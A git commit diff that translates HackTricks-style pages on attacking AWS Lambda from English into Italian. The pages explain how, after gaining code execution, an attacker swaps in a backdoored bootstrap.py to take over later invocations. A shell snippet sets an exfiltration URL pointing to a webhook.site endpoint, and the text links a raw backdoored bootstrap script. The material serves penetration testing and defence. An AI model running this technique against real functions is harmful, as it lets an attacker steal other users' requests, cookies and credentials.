Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:18:58 +00:00
parent 820dd99aed
commit 931ae54e5f
245 changed files with 9984 additions and 12710 deletions

View File

@@ -4,30 +4,26 @@
## Lambda
For more information check:
Per ulteriori informazioni controlla:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Steal Others Lambda URL Requests
### Rubare le Richieste URL di Altri Lambda
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
Se un attaccante riesce in qualche modo a ottenere RCE all'interno di un Lambda, sarà in grado di rubare le richieste HTTP di altri utenti al lambda. Se le richieste contengono informazioni sensibili (cookie, credenziali...) sarà in grado di rubarle.
{{#ref}}
aws-warm-lambda-persistence.md
{{#endref}}
### Steal Others Lambda URL Requests & Extensions Requests
### Rubare le Richieste URL di Altri Lambda e Richieste di Estensioni
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
Abusando delle Lambda Layers è anche possibile abusare delle estensioni e persistere nel lambda, ma anche rubare e modificare le richieste.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,42 +1,41 @@
# AWS - Steal Lambda Requests
# AWS - Rubare le Richieste Lambda
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda Flow
## Flusso Lambda
<figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>
1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process.
2. The init process listens on port **9001** exposing some interesting endpoints:
- **`/2018-06-01/runtime/invocation/next`** get the next invocation event
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** return the handler response for the invoke
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** return an execution error
3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**).
4. Finally, **bootstrap.py** sends to init the **response**
1. **Slicer** è un processo esterno al contenitore che **invia** **invocazioni** al processo **init**.
2. Il processo init ascolta sulla porta **9001** esponendo alcuni endpoint interessanti:
- **`/2018-06-01/runtime/invocation/next`** ottieni il prossimo evento di invocazione
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** restituisci la risposta del gestore per l'invocazione
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** restituisci un errore di esecuzione
3. **bootstrap.py** ha un ciclo che ottiene invocazioni dal processo init e chiama il codice dell'utente per gestirle (**`/next`**).
4. Infine, **bootstrap.py** invia al init la **risposta**
Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process.
Nota che bootstrap carica il codice dell'utente come un modulo, quindi qualsiasi esecuzione di codice eseguita dal codice dell'utente avviene effettivamente in questo processo.
## Stealing Lambda Requests
## Rubare le Richieste Lambda
The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process.
L'obiettivo di questo attacco è far eseguire al codice dell'utente un processo **`bootstrap.py`** malevolo all'interno del processo **`bootstrap.py`** che gestisce la richiesta vulnerabile. In questo modo, il processo **bootstrap malevolo** inizierà a **comunicare con il processo init** per gestire le richieste mentre il bootstrap **legittimo** è **intrappolato** a eseguire quello malevolo, quindi non chiederà richieste al processo init.
This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could:
Questo è un compito semplice da raggiungere poiché il codice dell'utente viene eseguito dal legittimo processo **`bootstrap.py`**. Quindi l'attaccante potrebbe:
- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations.
- A request must be sent to **`/${invoke-id}/response`**
- The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
- Execute a malicious **`boostrap.py`** which will handle the next invocations
- For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual.
- For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation.
- **Inviare un risultato falso dell'invocazione corrente al processo init**, così init pensa che il processo bootstrap stia aspettando ulteriori invocazioni.
- Deve essere inviata una richiesta a **`/${invoke-id}/response`**
- L'invoke-id può essere ottenuto dallo stack del legittimo processo **`bootstrap.py`** utilizzando il modulo python [**inspect**](https://docs.python.org/3/library/inspect.html) (come [proposto qui](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) o semplicemente richiedendolo di nuovo a **`/2018-06-01/runtime/invocation/next`** (come [proposto qui](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
- Eseguire un **`boostrap.py`** malevolo che gestirà le prossime invocazioni
- Per motivi di furtività, è possibile inviare i parametri delle invocazioni lambda a un C2 controllato dall'attaccante e poi gestire le richieste come al solito.
- Per questo attacco, è sufficiente ottenere il codice originale di **`bootstrap.py`** dal sistema o da [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), aggiungere il codice malevolo ed eseguirlo dall'attuale invocazione lambda.
### Attack Steps
### Passi dell'Attacco
1. Find a **RCE** vulnerability.
2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
3. **Execute** the malicious bootstrap.
You can easily perform these actions running:
1. Trova una vulnerabilità **RCE**.
2. Genera un **bootstrap** **malevolo** (ad es. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
3. **Esegui** il bootstrap malevolo.
Puoi facilmente eseguire queste azioni eseguendo:
```bash
python3 <<EOF
import os
@@ -53,15 +52,10 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402
exec(new_runtime)
EOF
```
Per ulteriori informazioni controlla [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
For more info check [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
## References
## Riferimenti
- [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
{{#include ../../../../banners/hacktricks-training.md}}